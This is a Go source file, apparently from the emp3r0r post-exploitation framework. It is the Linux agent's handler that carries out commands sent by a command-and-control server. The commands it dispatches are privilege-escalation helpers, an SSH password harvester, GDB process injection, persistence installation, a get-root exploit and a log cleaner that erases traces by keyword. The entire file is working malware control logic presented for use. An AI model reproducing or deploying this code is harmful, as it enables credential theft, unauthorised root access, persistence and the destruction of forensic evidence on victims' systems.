/
c2cmds_linux.go
117 lines (104 loc) · 2.42 KB
/
c2cmds_linux.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
//go:build linux
// +build linux
package agent
import (
"fmt"
"log"
"os"
"strconv"
emp3r0r_data "github.com/jm33-m0/emp3r0r/core/lib/data"
"github.com/jm33-m0/emp3r0r/core/lib/util"
)
func platformC2CommandsHandler(cmdSlice []string) (out string) {
var err error
switch cmdSlice[0] {
case emp3r0r_data.C2CmdLPE:
// LPE helper
// !lpe script_name
if len(cmdSlice) < 2 {
out = fmt.Sprintf("Error: args error: %s", cmdSlice)
log.Printf(out)
return
}
helper := cmdSlice[1]
out = runLPEHelper(helper)
return
case emp3r0r_data.C2CmdSSHHarvester:
passfile := fmt.Sprintf("%s/%s.txt",
RuntimeConfig.AgentRoot, util.RandStr(10))
out = fmt.Sprintf("Look for passwords in %s", passfile)
go sshd_monitor(passfile)
return
// GDB inject
// !inject method pid
case emp3r0r_data.C2CmdInject:
if len(cmdSlice) != 3 {
out = fmt.Sprintf("Error: args error: %v", cmdSlice)
return
}
out = fmt.Sprintf("%s: success", cmdSlice[1])
pid, err := strconv.ParseInt(cmdSlice[2], 10, 32)
if err != nil {
log.Print("Invalid pid")
}
err = InjectorHandler(int(pid), cmdSlice[1])
if err != nil {
out = "Error: " + err.Error()
}
return
// persistence
// !persistence method
case emp3r0r_data.C2CmdPersistence:
if len(cmdSlice) != 2 {
out = fmt.Sprintf("Error: args error: %v", cmdSlice)
return
}
out = "Success"
if cmdSlice[1] == "all" {
err = PersistAllInOne()
if err != nil {
log.Print(err)
out = fmt.Sprintf("Some has failed: %v", err)
}
} else {
out = "Error: No such method available"
if method, exists := PersistMethods[cmdSlice[1]]; exists {
out = "Success"
err = method()
if err != nil {
log.Println(err)
out = fmt.Sprintf("Error: %v", err)
}
}
}
return
// get_root
// !get_root
case emp3r0r_data.C2CmdGetRoot:
if os.Geteuid() == 0 {
out = "Warning: You already have root!"
} else {
err = GetRoot()
out = fmt.Sprintf("Error: LPE exploit failed:\n%v", err)
if err == nil {
out = "If you see agent goes online again, you got root!"
}
}
return
// log cleaner
// !clean_log keyword
case emp3r0r_data.C2CmdCleanLog:
if len(cmdSlice) != 2 {
out = fmt.Sprintf("Error: args error: %v", cmdSlice)
return
}
keyword := cmdSlice[1]
out = "Done"
err = CleanAllByKeyword(keyword)
if err != nil {
out = err.Error()
}
return
}
return fmt.Sprintf("Error: Unknown command %v", cmdSlice)
}